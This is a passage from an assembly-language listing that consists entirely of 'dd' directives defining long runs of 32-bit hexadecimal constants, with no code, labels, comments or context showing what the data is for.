		dd 13FBB284h, 0A43EACE4h, 0E95242FBh, 3EC67CCEh, 3E5F2FF0h
		dd 5F0BA7D8h, 0C175AA71h, 98649AA8h, 2865A0FBh,	3871D15Ch
		dd 18F933C3h, 0E6B11040h
		dd 98543DA0h, 8617DE19h, 80828220h, 8705E138h, 0D706E11Ah
		dd 0C7F7E9E2h, 0BF923F49h, 2728EE74h, 0F6324A90h, 0AA044EC0h
		dd 79B62261h, 487B7910h, 0E5180782h, 0A2B4ED6Eh, 0A2E89C94h
		dd 2C28BE5Bh, 1B489D5Ah, 8DC942EBh, 27405385h, 805BC6C4h
		dd 0BBD3C85h, 27372B4Bh, 0E9732101h, 282F08D6h,	0D94BFF98h
		dd 9D608FC9h, 0BE3C165Ch, 50C2B825h, 752D6808h,	2CBF062h
		dd 0D4647EC1h, 0F0DDBD55h, 45E92E87h, 31AD8471h, 13E6BED8h
		dd 0DC23D025h, 50C116EDh, 0C4B32AA8h, 0EFF6622Ch, 0EDF6D924h
		dd 0ED6010B9h, 1C30EE4Eh, 17E5C981h, 40DC036h, 0EB5DB65Fh
		dd 8B074AB6h, 0A0E88AF1h, 0E454F5C2h, 8EED034Ah, 1C820841h
		dd 5A746C19h, 81A513C5h, 3007684Ah, 10F0322Ah, 0B816B4D4h
		dd 0F865C4AFh, 3B5B3F8Dh, 981CC94Fh, 99D67BC4h,	6E32BCA2h
		dd 0C1F55BD5h, 0B76CB548h, 4B226809h, 0DD646456h, 5E33E8C2h
		dd 7E3D607Bh, 0D09777AEh, 0BEF6D3E2h, 0E91792DFh, 51A1C295h
		dd 595961F4h, 5892E020h, 0C80A5E7h, 0C12E2369h,	102BE05Dh
		dd 0AD5F8830h, 6B8187D0h, 0B8054008h, 543F140Bh, 168C8B40h
		dd 52EAF4C6h, 1DCD309h,	0D79B77EBh, 0D31DCBCh, 0F32A50Bh
		dd 0E3C0F76Ah, 0ABD2EC68h, 3BDE4E0Ch, 3BE84C21h, 9D7FFD3Fh
		dd 0D9520F54h, 9D56B05h, 0D8657796h, 829497BFh,	0CADEBEBDh
		dd 0BB9C632Eh, 403E8424h, 2DD62CF6h, 0C5121C5Ah, 0D3B71CABh
		dd 2B1FB0F5h, 44434117h, 134BC4FBh, 9256B208h, 4F620AE4h
		dd 0DE0DA964h, 16454CCCh, 5A529FBBh, 0ADF86995h, 746F1335h
		dd 255EF835h, 25FE5A2Dh, 0EC55A839h, 0D801A197h, 835C00FEh
		dd 0E99702C3h, 0B57A1E5Fh, 23732071h, 7CC86C13h, 30FD5AB1h
		dd 0F14E1B3Ch, 0C3E02416h, 0B1515800h, 8BB2527Fh, 78EA0C80h
		dd 0DD0AD2F6h, 612C2F0h, 7E41A4E9h, 0FC6A8BBBh,	7998B03Eh
		dd 0A0039517h, 172385FEh, 59DEB3AFh, 823F592Ch,	54782CE9h
		dd 0E8A41DBh, 21992979h, 81559F45h, 0D1C7B7EBh,	207B61EFh
		dd 9397167h, 56EF5EB6h,	0FA3B0559h, 85AD801Ah, 0DF027086h
		dd 3CE9EF31h, 0B85C57C9h, 0E2D190C4h, 0EC3FD031h, 28FED726h
		dd 61401599h, 0E48F5C66h, 0D41D2712h, 1049BE18h, 8BFCF15Dh
		dd 0B1C1C2E9h, 82A7DB80h, 0F776E0A7h, 0DFD25A9Ch, 144AC08h
		dd 0E35D3BBAh, 5C07300Bh, 80950AF6h, 0D8230D2Dh, 8042B7BFh
		dd 14CC487Dh, 13C9F645h, 0A4896BE9h, 0EDA081CFh, 122D6D69h
		dd 12BA585Dh, 0FA5F9517h, 5B08F507h, 0CDAB4C55h, 0A8110430h
		dd 71FF972Eh, 811CB0ADh, 6F68BDA6h, 93E84E97h, 547CBFBAh
		dd 9B7569h, 32FB314Bh, 65F089DEh, 6EDEF697h, 0C549BBB3h
		dd 0D6A05DA3h, 4AF8DCF1h, 0CD09CB12h, 0DCF73909h, 1E6E63EBh
		dd 72EF2B27h, 15C59C79h, 3D4ABA7Ah, 52F96FF8h, 402D95D4h
		dd 0B316D144h, 21096608h, 28AC592Ah, 6679E19Bh,	0A4EEE909h
		dd 0F67EECF5h, 0BF2C4A7Eh, 25501661h, 0A0D58C7Bh, 0AF4B6A43h
		dd 58B74349h, 56040236h, 209A685Bh, 0B35339A0h,	0CB48FE77h
		dd 80C803D1h, 0C428DFC1h, 853D2C83h, 4FB0E7ABh,	1A35C580h
		dd 22EB2738h, 15711050h, 0B6F0FD4Bh, 669A2DE9h,	0D1627F54h
		dd 0A519C9CFh, 5108CAE4h, 707D529h, 0ED1A0AC0h,	20DCB846h
		dd 5B094497h, 0FF8C2C58h, 0D193660Eh, 6E5AE913h, 0A413BEC4h
		dd 1A0CBFAh, 45EB5901h,	2A38E9C1h, 0ACD98113h, 82D6A17Fh
		dd 0D220D34Dh, 5BC7E6CAh, 6E548802h, 2E68FD40h,	72B03035h
		dd 69669180h, 12C0E12h,	7D0273D9h, 0C125316Ah, 0FE058CCFh
		dd 188A13E2h, 39B99495h, 94F2A4Ch, 457F2975h, 647FA7DCh
		dd 43F3B6EEh, 12055BDEh, 501779Fh, 94FB0594h, 0FF0B095Bh
		dd 65A6D15Fh, 0C442F357h, 11142168h, 0E16A53Ch,	0ADE495BCh
		dd 26816BBh, 6069EDB6h,	4DC4375h, 12E95E75h, 17D9B971h
		dd 3FE942D3h, 34953E84h, 5AFFFF85h, 0A1FF0CCEh,	0C219E9DAh
		dd 0C831288Bh, 6E632BF1h, 0EDA30E76h, 6FC7BFA7h, 0E4687C55h
		dd 26EB5031h, 0A8043FC0h, 93C1B49Ch, 4781570Ah,	2674F9C3h
		dd 0FDF3D866h, 0E1DB7E17h, 878F3804h, 5BA7550Bh, 0EB5D0501h
		dd 31E9A1CCh, 0DC9969F7h, 66800B1h, 14EC9F1Ch, 1B059808h
		dd 8FAA0138h, 0D8C12094h, 752DE908h, 0EE847253h, 0AA7B4A44h
		dd 2B57084Fh, 0B9B5E1D7h, 80C9BD2Eh, 4F413D9Eh,	414C4601h
		dd 5BCF260Ch, 27280BF1h, 0ABCDE9B0h, 970F86A4h,	6D3B5B5Ch
		dd 0E5EC7938h, 0F01501ADh, 468F0F3Eh, 0ED19813Dh, 0BC0DFA67h
		dd 75BA460h, 88094D41h,	382D60C6h, 704CD816h, 39D28C56h
		dd 123FEB68h, 0BC6CAF81h, 0B8500253h, 67F47844h, 8209A284h
		dd 85CBA977h, 813DC0B5h, 7C75D0CBh, 0D9DF40FFh,	194BFB7Dh
		dd 0BA17FBB8h, 3796EB7Ah, 632417B0h, 1045F8ADh,	5D255239h
		dd 55CAF3F6h, 80046710h, 0FB5968C6h, 7288A1A0h,	0ADE55CDCh
		dd 0A92C6978h, 9410358Ah, 542FD852h, 0DBE8D76Bh, 3576736Ch
		dd 1D14C971h, 0C43384h,	5B0D6DA4h, 3A2B8905h, 26807D9Dh
		dd 29139864h, 7A32DC8h,	59110CADh, 8041116Ch, 6E95EA31h
		dd 8812D306h, 53420BEEh, 668BC5DCh, 0E1737459h,	731DC268h
		dd 0F3512492h, 2DAFF512h, 2C95F534h, 7F65E05h, 1EC65A10h
		dd 0EEAEC148h, 246E273Ah, 8CBA6CCBh, 0F20E2D9Dh, 0A16F210Ch
		dd 3DA24328h, 7EDB13Eh,	27115A07h, 9EF15FDh, 36FE565Ch
		dd 91D73C1h, 2A47A12Ah,	0A6675DE6h, 0E946B1F7h,	0CC007B7Dh
		dd 1FE2815Ch, 64A4251Dh, 6679A560h, 0EBFA7E77h,	0D329BF12h
		dd 2EBDEC04h, 92C72712h, 26C86917h, 351F5BD8h, 4E567FA9h
		dd 973F3F04h, 0BC80E907h, 6D40B30Bh, 84ACB08Ah,	970473C9h
		dd 84BFA4E3h, 85748452h, 7A8CB16Ah, 707C48A8h, 5C958420h
		dd 685A78FEh, 0D2FD2D5Eh, 4A864B10h, 680BEEB3h,	0AB15C50h
		dd 75E8C1E9h, 9CFB2044h, 80D1F605h, 11C28DC9h, 0D4C2FFD2h
		dd 0D976BB57h, 0DD8B423Fh, 8AE417C2h, 0FA6BD8FAh, 88095C10h
		dd 283A72F6h, 0C9BD90D9h, 0D960FEBCh, 74834F57h, 9393FD52h
		dd 904439FBh, 0AC5EEA82h, 0EEEC4F76h, 0F4E6A207h, 7513F261h
		dd 0EB884A5Ch, 0FA010199h, 2F108768h, 71F518Ch,	0F7283102h
		dd 40EAFED8h, 4D3F89A1h, 0F855DE12h, 6231B02Eh,	0C58816D5h
		dd 49EE7C5Fh, 7A276079h, 5AD2BF27h, 2849E8B7h, 40D78269h
		dd 59C77F61h, 4148CF6Bh, 34DE1916h, 638BAF89h, 4E5FF010h
		dd 0FB7BC5BAh, 56987EA7h, 6794B954h, 2EADDEE9h,	2F808B85h
		dd 8B9C8E14h, 0A50C435Bh, 3D12BE4Eh, 28EFC601h,	97F6F5Dh
		dd 0ADC008A8h, 305AA1B5h, 508214ADh, 0D7EBCB0h,	0D4E91D07h
		dd 0E3C10448h, 7BF48003h, 0CE7E6A6Fh, 68477325h, 0A9561F89h
		dd 84F5E6D9h, 0AE4E986Ch, 0EA217A9Bh, 0EB8215AEh, 0D544E770h
		dd 386433C1h, 38BB181Eh, 4AB36837h, 654A8C04h, 0DE160748h
		dd 7008F0D2h, 68D62540h, 799AA208h, 0ADF5D2E9h,	616EA084h
		dd 9359E4A9h, 42AEEB39h, 7B8D68B8h, 5B8306F1h, 4E298416h
		dd 573F4BAEh, 0C084B0F7h, 0FFB090Dh, 0AF7FE6C1h, 734D82B8h
		dd 89C98909h, 8E127CFEh, 0FB925350h, 8E49B31Fh,	0C291512Ch
		dd 47E1EB01h, 0C6A581FCh, 2942788Dh, 4DEEED8h, 685D0740h
		dd 0A830AE66h, 26EDCFBAh, 162CCC6Eh, 2139BE3Ah,	96E1BF9h
		dd 8EF555AFh, 20EB8421h, 0C0A384BAh, 426D74CDh,	6F50E0BDh
		dd 6563371Fh, 303F20D8h, 0E249D121h, 35EF00F8h,	69E9FC03h
		dd 0F7D8835Bh, 6486475h
		dd 97F93E90h, 0A6B2540Dh, 3FE812B1h, 0B1490EF7h, 0DCEA6814h
		dd 0AA57288Fh, 0E0E9A829h, 0EBBC906Fh, 2D512521h, 0EAD62AF8h
		dd 5A671F6Ah, 27E9844Ah, 2430AE7Ch, 0CF71A568h,	2D30DD61h
		dd 0FEBAD55Ah, 8029F07Dh, 2F077586h, 0EFDA4620h, 30016698h
		dd 0E93E8D0Bh, 0DD486A7Bh, 3A401788h, 0A6360044h, 1254E24h
		dd 406CF14Ch, 5B6F5E08h, 8D2B4D8Fh, 9F59653Ch, 5E683910h
		dd 9CCD47ABh, 0F757003Bh, 5F32E9DBh, 0C0423459h, 9D50292Ah
		dd 3BC6BF48h, 720D4C10h, 0B8329717h, 220C9E72h,	5D158B5h
		dd 0EB840FEDh, 27CBBD2Bh, 5093F45Bh, 7397519Bh,	6ED6A56Fh
		dd 4147D42h, 0BC53805Ah, 464FDA43h, 0E6C74AACh,	6FAE123Eh
		dd 0CC37807Fh, 0B86AFC79h, 39685F65h, 0F3A82B76h, 0AE466DC5h
		dd 1660F73Dh, 30404E10h, 0FF46E51Ch, 21BE2E04h,	0BC814BD9h
		dd 1056BB8h, 4114BBC7h,	0D54D7004h, 7E3309BFh, 50BEEF3Ah
		dd 4F680A69h, 0B780302Ch, 0E9C7FE8Eh, 0B7B3B266h, 0A5CFEC7Eh
		dd 0F4FB3E43h, 8D4A3533h, 37C78CFAh, 0F6A1303Ah, 0FD2D9C96h
		dd 0F8CEFC0Ch, 1B413BF1h, 0EBD7338h, 80631120h,	0BDA83CD3h
		dd 7FC013C0h, 0D109E2EBh, 4D94F64Fh, 7B582727h,	55F54E5Bh
		dd 0EFD116D0h, 0E15E8C04h, 0E6A229ABh, 429530D8h, 0FDC7ABA2h
		dd 3C3EF9E1h, 234A5081h, 33A2ECBFh, 0FDE114FBh,	0E8C2B9BFh
		dd 3EF09981h, 0D259207Fh, 0E2EA8100h, 8974B15Eh, 40CA90D5h
		dd 0B40DB95Ch, 0C03CA029h, 812CA763h, 9EA2C93Ah, 0C561F8Ch
		dd 0F56D3A62h, 0F60DB92h, 40812983h, 9AEE14FCh,	58E71CC4h
		dd 0FABEBA50h, 760B672Dh, 0DEBF7AF2h, 2F2D5033h, 1FA83FE1h
		dd 31BBB4h, 0E2105D4Bh,	93266822h, 0E4005534h, 31EF67F7h
		dd 0AE917D1h, 0CD6CBEA0h, 847A27E9h, 5E72B268h,	1FEB7DC2h
		dd 33C0550Bh, 520288F3h, 8B0F167Fh, 0F5CC4A46h,	8916B9ECh
		dd 0C6B856F2h, 350D521Dh, 0E0C7520Ch, 77419639h, 6285CA09h
		dd 0B229310Ch, 20B94CA9h, 0EC882C33h, 49E71D60h, 96575BFEh
		dd 39F7FE65h, 803A595Ah, 266041A5h, 0D1B75BD9h,	456DC267h
		dd 4044B2F7h, 2546EBDCh, 0E17751FDh, 16B8CE40h,	7F6A7200h
		dd 402CD81h, 0F261F92Fh, 7BAE255Eh, 59D72B18h, 6636E24h
		dd 0F154022Dh, 220F4EFEh, 80EE3B09h, 10223A28h,	0CD28057Fh
		dd 4D2AD729h, 0F37FC033h, 0D381B12h, 6B86C80Eh,	0E38400CFh
		dd 0BD984D7Dh, 232C3D00h, 0DD98686Eh, 214A43B0h, 0A6B34585h
		dd 8C20913h, 0AC1D087Ah, 262EC48Dh, 957EBCECh, 589C3120h
		dd 0C0DC5414h, 814FB1ECh, 463A3169h, 60F18EF0h,	57C21962h
		dd 4D63B90Bh, 10D07630h, 7BB58C53h, 574E887Eh, 0F4B36CEFh
		dd 0C9810F9Dh, 0FD120252h, 48D820BEh, 2E27AD35h, 3224138h
		dd 0A726132Bh, 5E664C7Fh, 0BAD708A2h, 4090D99Dh, 135F3B11h
		dd 28E50AEBh, 10AAB27Ah, 3C738089h, 0D21370E3h,	888B471Fh
		dd 0A2F827EFh, 0B4F57585h, 0C11E5A5Eh, 20DF017Ah, 7595D9AAh
		dd 68421390h, 5D4F482h,	0F80A8312h, 8FB93A53h, 853D7745h
		dd 50CAB3B7h, 7EA6CD4Eh, 5B7858A3h, 6828FF23h, 81669759h
		dd 0B90C3498h, 187FDD34h, 0B80F139Ch, 4420BA6Fh, 4F17A003h
		dd 6BBB89A5h, 82E496A9h, 8B6C2FCFh, 7D15CC25h, 1CFA7C14h
		dd 9EF9B36Dh, 58C7F42Fh, 21BA15FAh, 0B57CBEA2h,	0B3058F38h
		dd 364AC60Ch, 68510336h, 3082757Ah, 0B890D87Dh,	81404596h
		dd 2F1626EFh, 54EA0EE4h, 0A0E90802h, 0BBAA826Bh, 75078955h
		dd 0FCBFEC14h, 20E851BBh, 0E89D6E91h, 824F77ECh, 103C3F68h
		dd 90DFF780h, 0C529777h, 5B94F390h, 46015F27h, 2FF03023h
		dd 680B99E6h, 94D77A89h, 6AE9129Bh, 59C8FEF3h, 32954B68h
		dd 0DECA5055h, 4EE3F85Fh, 0E443135Bh, 316941DCh, 30ED5D40h
		dd 254980A0h, 7CC82794h, 0A1BBC09Ah, 6600B420h,	0D5BD821h
		dd 1740389Ch, 4351E92Fh, 6C015A31h, 0E76BB310h,	93890F09h
		dd 0F28016E0h, 243C8A4Ch, 5C660948h, 58D0488Ah,	0CB809F76h
		dd 1F1E65C6h, 201C426Fh, 0E92C9597h, 2985B717h,	44B3AF58h
		dd 7DDC0969h, 2646953Bh, 0BC5512EEh, 8884F2ABh,	526E272Bh
		dd 9295C0BDh, 63F70D71h, 252C4F5Fh, 0D8292AECh,	0D269E63Eh
		dd 60E4FAA8h, 0F51A37A7h, 0C3817D01h, 820AE5CDh, 18CC2E82h
		dd 69FC4D33h, 0E93F08A0h, 9D7627Eh, 44550B0Fh, 3C7F97A9h
		dd 8CC05D7Ah, 0D3D80F5Bh, 0E96FCEA4h, 299ED34Eh, 4464FE4Eh
		dd 0F2312300h, 0A53D48E9h, 3F531FB6h, 38E87525h, 0F639BEB1h
		dd 0C0D914D1h, 0E14A73AFh, 0A40CB9BCh, 8826CE28h, 42A0DD4Bh
		dd 1CF6F0EEh, 0BCDE30D3h, 0E6C008E1h, 0D2896E05h, 0A326BA7Ch
		dd 0E93704CFh, 6909BA0Dh, 0C8D97D59h, 9230FA58h, 0B4CA504Fh
		dd 0E5174AA3h, 0B45F4192h, 49D2076Ch, 9FCFF227h, 0D656FAB2h
		dd 0E9545560h, 0D52BE73Bh, 0E862BFA6h, 0D1105FC7h, 0E2BF1BE9h
		dd 9DE5D548h, 44177E25h, 0DFBBEC5Ah, 0E9499C16h, 96E3DD05h
		dd 87EF50D1h, 0A3E6814h, 98A35A16h, 311D4F70h, 89D3FDE2h
		dd 0F72A652Bh, 0DB4A9AB1h, 5BDAE312h, 3AC26E07h, 61C84E62h
		dd 0FE0428D8h, 1C77EE82h, 6CC28016h, 5F14A7B0h,	0C6ECE886h
		dd 5A7102E8h, 31F388FDh, 0E5045E45h, 1514CBFFh,	5A54598Ch
		dd 45ED41FBh, 6B3F8F0Fh, 0CCAA1316h, 0B79448BCh, 89F18A00h
		dd 77205EFh, 3519D10Ah,	36B3528Dh, 0BF937455h, 0BA100480h
		dd 2DD80117h, 5E5D07A2h, 0FA28FA2Eh, 36E9E109h,	932D290Dh
		dd 0E85A15E8h, 954F592h, 2A39131Eh, 65856BA9h, 6199EA67h
		dd 0BE1C702h, 0A6CFE575h, 470F1B71h, 733573FFh,	80170E7Ah
		dd 78F3E388h, 0D64B4C10h, 32EAEA04h, 0D2B25202h, 0FED4EA80h
		dd 792FE9CAh, 0F1C24416h, 0D33F1BFDh, 0E0C1959Fh, 29E32F94h
		dd 174D571Fh, 0F206BB42h, 2D8EEFD1h, 6344F949h,	0F6EC12C9h
		dd 7AB12432h, 52C3F457h, 25254C5Dh, 0C6EC21D8h,	41B25180h
		dd 0A0D459Fh, 63A9651Dh, 83D05752h, 0F8BFC47Ah,	0FFC9E36h
		dd 0CD16F201h, 6430F927h, 98995D6Dh, 16780569h,	7E0502D0h
		dd 37AE241Fh, 0F807A02Ah, 0AD59121Ah, 3A4A0F64h, 0AC686AE1h
		dd 76316E12h, 35E5692Ah, 0AC2C243Ah, 1FBE85F5h,	0AC0E165Eh
		dd 8BEF123Ch, 86651212h, 34BA6F91h, 3868742Fh, 0F12D68B8h
		dd 0F4A14C61h, 37534B85h, 0C7730071h, 5F122549h, 0AD01D472h
		dd 3701756Ch, 0E0D1042Fh, 93C7FA08h, 0EBE248D1h, 26E98034h
		dd 8D427CF8h, 6FAB6CD6h, 92AD2E56h, 83327E05h, 2EE4C078h
		dd 0F16875Eh, 4F8459E9h, 4AF2708Ch, 1798FAA6h, 8B989ED2h
		dd 516649A8h, 0CF6D1302h, 0D483E902h, 0E7BE013Ch, 0EB44645Dh
		dd 5E7C809Ah, 0D90F77A5h, 0FE0E4D64h, 612A48D9h, 5D62FD9Ah
		dd 19E92A97h, 45755A8Bh, 2EC62FE0h, 0A84F205h, 0C0BB4250h
		dd 3B357EF5h, 1071E918h, 4852F847h, 0ED13C288h,	0C631BEACh
		dd 0D2CCD62h, 64020CB2h, 76E69471h, 2F008CE9h, 552B613h
		dd 1365348Dh, 0F5820F3Eh, 0BFA87A36h, 0F95FD0C6h, 0B313A42Ah
		dd 9F31030Fh, 7D80B232h, 0B216778Ah, 0A592209Bh, 671D16C4h
		dd 0A573C445h, 0B7850182h, 82DE285Bh, 0D725EE68h, 0AD80D696h
		dd 3927191Dh, 32B57A47h, 16577DA6h, 0C4BFA7C8h,	4F357717h
		dd 225614EEh, 0C655B500h, 3DBB5312h, 6CD22802h,	0DFF593E9h
		dd 0B32687A2h, 5468BA00h, 0AA314A79h, 506A18D1h, 0AF027C72h
		dd 313F891Ch, 97DD7C77h, 0B873C814h, 883B3900h,	1E8A2D43h
		dd 0D590A2FFh, 2D6A7232h
		dd 4C82F955h, 71496821h, 0C3E909F3h, 0D4C95D0Ch, 270FBE6Ch
		dd 557D62EBh, 249E7F3h,	4A096DAEh, 0B44B619Ah, 227B6800h
		dd 0D14D61C5h, 0B50A77ABh, 21029189h, 6AFC7AD0h, 8887E8F1h
		dd 909BE8Fh, 0F55C4BB5h, 866FA63Fh, 8E905FA8h, 2F30AD20h
		dd 2F80FB4h, 25CC073h, 0D51F1617h, 0BF2D3A91h, 13640CA6h
		dd 8892A047h, 207EE15Ch, 0FED89D4Ah, 13626725h,	505FFAAEh
		dd 38B905D7h, 0FB29C366h, 67E09341h, 0C9D97D4Fh, 7C1E63D8h
		dd 0CCE10345h, 0C10E370Dh, 594BB2B6h, 4B2952EEh, 5CF25530h
		dd 92B4501Eh, 39C3A553h, 820E2CB0h, 0DDF7829Fh,	5140EE87h
		dd 38138601h, 0E2EB29BCh, 0F031840Ch, 9D06ADAFh, 7716D7AFh
		dd 0A1DFA62Ah, 2A5ED177h, 542833C0h, 66021724h,	0F7D7AE5Ah
		dd 6AC58081h, 425DB17Ah, 0B558C003h, 38DAB83Dh,	0C7218B5Ch
		dd 4871D858h, 0B896B2C9h, 16EC646Ch, 2475C009h,	95F8FF57h
		dd 5EC5FE19h, 4DE92BC1h, 810FE909h, 0EBFBB820h,	0D8B5071Fh
		dd 14FD81FFh, 0CAD75D02h, 4FFF40C5h, 0FA244E2Fh, 34084510h
		dd 0B0AF0E5Ah, 0FC9F58A5h, 0C1E9D9A7h, 0F1F7C248h, 0C57C161Ah
		dd 84E6AF11h, 46F78009h, 54D967Dh, 0CFEA06BAh, 12F4E820h
		dd 0EE959EC8h, 40289404h, 0E3790845h, 460905E9h, 86F15BE0h
		dd 9005EBCCh, 60514153h, 1B123607h, 0B1AA6D4Fh,	810805F1h
		dd 24A49D2Dh, 8632698h,	89D8C133h, 0C02FE4AAh, 5C3C73AEh
		dd 0D0CF2922h, 0C153D111h, 14BFCF84h, 7CF50368h, 436297Fh
		dd 0F0F7700Ch, 4385BBCCh, 1B4A771Dh, 0C10FB158h, 1F5147B3h
		dd 0E116F1C3h, 5E3040D0h, 3A0B06B9h, 2AC129B4h,	119AEA07h
		dd 779B45ECh, 6185D082h, 9501CE75h, 9235967Fh, 171802DEh
		dd 0D5683ACBh, 0BED698D7h, 0E67247Eh, 95C60000h, 5682B5FDh
		dd 902669Eh, 6070271Fh,	0B75D9002h, 0C2C13792h,	0DDCC7B42h
		dd 93D16984h, 360D3D50h, 0E8D9290Bh, 495B0801h,	0D215E700h
		dd 992D3204h, 2982C667h, 95DFD0F3h, 6864907Fh, 303A5AA1h
		dd 9146FBAAh, 9A594B28h, 6C5EB60Ch, 12030C3Eh, 826FC74h
		dd 79A5BFA2h, 0BC2A3DE9h, 0CCB80FBh, 38402C20h,	0C83A0888h
		dd 0DA0B3F26h, 59C6DCAFh, 0B084285Bh, 9EA5A7E9h, 5C5254EAh
		dd 6B8304B6h, 92AF5870h, 0A4C12EF6h, 4B767091h,	16767713h
		dd 2D026DA8h, 42A572C8h, 12642DFh, 2AB1E907h, 0E8F17581h
		dd 701C9F53h, 0F7806604h, 0BEA590D9h, 80324E2h,	5A043554h
		dd 8BAA0B88h, 64BE5E76h, 0D2B3A692h, 1A30F6BAh,	5D5E0685h
		dd 795AE55Eh, 8E6089Fh,	0FCE78C2Dh, 546B17CCh, 0B00ABE7Ch
		dd 0C3408C6h, 5ABD92AFh, 13CFC7D6h, 4909E7A1h, 0A201C37Dh
		dd 0C780D7F6h, 5CF82B51h, 0CAE93F05h, 0CDCC4039h, 738A53AEh
		dd 2E56E9F7h, 3ED54941h, 0B9384D1Bh, 6E5C512Fh,	0E2816640h
		dd 260A4F64h, 0B8F87A76h, 6850D205h, 5AC2986h, 0F2BD0E9Fh
		dd 45ED3818h, 0CD0A1361h, 0C5002D4Ah, 3B887C1Fh, 0B4C280DFh
		dd 137417Fh, 1B3810EAh,	0E9F0125Dh, 59B58DE3h, 0B1A69Ah
		dd 0D407E09h, 992777B7h, 51C85F71h, 8E260F47h, 7DAFFD6Dh
		dd 0B46F93B8h, 7FDD4FCBh, 5DEFE3B0h, 75B57B0h, 0EBE471BCh
		dd 76EE15A1h, 0F0782746h, 4AE30641h, 5758C203h,	1387F355h
		dd 3EC19D51h, 58893EBDh, 5D250C7Eh, 0E106383Ah,	4C495F9Ah
		dd 0F2051A27h, 43D2572Fh, 5F8C0F09h, 8B76DC47h,	447E4EE6h
		dd 0C014C647h, 16E7EA80h, 43375CBEh, 8961EE06h,	5D010C01h
		dd 0E92EBB7Fh, 946F41C2h, 6A178002h, 3B50E66Eh,	0F60AFDEAh
		dd 88893D9Eh, 0A410E90Bh, 59C4C1AFh, 4E9F43C1h,	250F3EA8h
		dd 0A7D30922h, 2C1314ADh, 0C77BD55h, 9B644E8Ah,	2AF26C13h
		dd 56D74F04h, 92DEE904h, 0BC814E35h, 3BFD8907h,	21D603F8h
		dd 3C144897h, 86568910h, 97A75EDEh, 4E5CA84Ah, 52A8DE27h
		dd 0AFB97155h, 657FBA09h, 298388AAh, 65125F17h,	4EA09h
		dd 9853D138h, 1478952Fh, 1613BF3Eh, 0AC003C20h,	67CE228Dh
		dd 0B2EE54E9h, 4680052h, 5A5691F6h, 2FFDD331h, 0EF017294h
		dd 998AEF4Dh, 0C5ACD02Eh, 15281F88h, 46B5CF7Bh,	92492070h
		dd 46295933h, 7FE8BC6Eh, 7D5869F2h, 0BF954BDh, 35A2384Bh
		dd 37767493h, 5D64E066h, 8D803F2Bh, 0E925D057h,	0D90D2F50h
		dd 0A4C99EC0h, 0ED339E56h, 2C4AF9FCh, 2FB156Ah,	6F3D5D42h
		dd 5EC6EA82h, 893AD375h, 0E2F16996h, 0E419AF8Bh, 7DAB0BCDh
		dd 0A4F472DDh, 0E1AC0720h, 23056590h, 314CB075h, 49EB9716h
		dd 46025DB8h, 0FCCC6BE6h, 3659A200h, 8B0F4643h,	1125F75Ch
		dd 0F12F5F31h, 56CD2BA5h, 16FEB97Fh, 0AE6740F3h, 0BDE82D94h
		dd 23A93505h, 59C706BCh, 0EF03BF5Ah, 348D12E4h,	0BC4B401h
		dd 925D0809h, 0A6545F03h, 0B4FBC351h, 0B404E209h, 5B7BFD3h
		dd 0F9405756h, 0BE568012h, 2536205Ch, 46C9DD33h, 68CFD05Ch
		dd 0D9106026h, 2D0AC569h, 0A880387Fh, 0E908E140h, 0FC06DF27h
		dd 74195152h, 0F164A1Eh, 98AC1B85h, 0E538FB4Eh,	5B4701BEh
		dd 0ADE91E07h, 1C5B3255h, 0DD2F64FEh, 89978B1Eh, 0D77DA6Fh
		dd 1D175831h, 0D1EC2B0Ch, 167EF84Eh, 1B347422h,	6260B458h
		dd 3B14896Dh, 0BD0217F6h, 23FE5683h, 765DB340h,	5F6FFC2Ch
		dd 252E2904h, 9BDD5BFh,	6CA3F917h, 0B101F6E9h, 1206E781h
		dd 0FA407133h, 48ADDB31h, 0D43A8446h, 2961320Bh, 0C1AB85h
		dd 0BA525F08h, 231E33EBh, 0F0DBE9EDh, 0F830D0DBh, 21D52F82h
		dd 6861AB71h, 307A756Ch, 2C6ADA41h, 0CA315604h,	12EB0FE9h
		dd 0D33DBF5Bh, 0B9C8EC6Eh, 901D83Ah, 0AA505443h, 0FA04FD60h
		dd 0AB9650F8h, 0EB80C9D5h, 44391DCFh, 864FE9B0h, 9D58E80Ch
		dd 26F3B751h, 0CA605913h, 97FDF5E9h, 733B5F48h,	0B29B28Bh
		dd 0BE911055h, 0BC679D6Eh, 0F129163Fh, 0FC2B7B4h, 198D4A71h
		dd 3160B98Bh, 230B9FBFh, 0F1536F97h, 2D5B0014h,	63FA393Eh
		dd 5C82914h, 32E90907h,	0F30FA797h, 7A20CC72h, 0F580ACCh
		dd 174C500Dh, 31E5C13Eh, 0AAF855F9h, 0C2FAAE94h, 89FF4377h
		dd 27C57D42h, 0E8D06B12h, 3B227BF6h, 0CE000B4Fh, 2D1E3EBBh
		dd 0D19772E9h, 1579208h, 0DE2F4963h, 65E37030h,	4CEB4282h
		dd 0A0E6E67Eh, 0B1EF1CEh, 84E94F92h, 0FE774142h, 6E547925h
		dd 5AA5DC61h, 2D4E2C7Bh, 6B6E091Ch, 57D801C4h, 4EBE60BAh
		dd 60F3376h, 1CE150BFh,	0B8A929D6h, 0EE050B02h,	0F8DD2D43h
		dd 0F8012F9Ch, 2B4B1FF8h, 0FB7AD41h, 0BAECC191h, 8924B715h
		dd 0FFACAB1Ch, 133EA8D2h, 95A801F4h, 9846AAA5h,	28F5E44Dh
		dd 4AFC9C51h, 0C0ECFD58h, 3B31CAB8h, 2D78B75Fh,	68E98D61h
		dd 5D692E7Fh, 9457BD25h, 795C616Dh, 7C1DEC68h, 75E9C41Ch
		dd 0FE2F07B1h, 4C49EC1Eh, 3F1064E3h, 0D7B1F7BFh, 39FC2A74h
		dd 0C7C500AEh, 31D648FBh, 0B2CFFCEAh, 7FB63B33h, 0EA966693h
		dd 6425E2Ah, 0B07FE912h, 0F20BBA2Dh, 6034CE41h,	5F7E6869h
		dd 4317CC1Bh, 85EB1F48h, 4EA3417h, 0CA73BD3h, 1350185Ch
		dd 0A1430B61h, 0C9D5E640h, 3D79D90h, 2D94CD9Bh,	0F5B1340Ch
		dd 3D1170B6h, 770A7F90h, 0F314350Fh, 961A3B01h,	41DB290Dh
		dd 1CA0081Ch, 2D5D7E14h, 16551CE8h, 35199DE8h, 54878B33h
		dd 97C3EE58h, 0F7ED46B0h, 1F097E06h, 8128D501h,	66415A08h
		dd 0B34A3219h, 0CE68004Bh, 74882515h, 7A0E8398h, 64053231h
		dd 64815EF1h, 212B2EB7h, 0BEED891Ah, 97FB130Eh,	9C7377B7h
		dd 77E2A5B9h, 852C4F5Dh
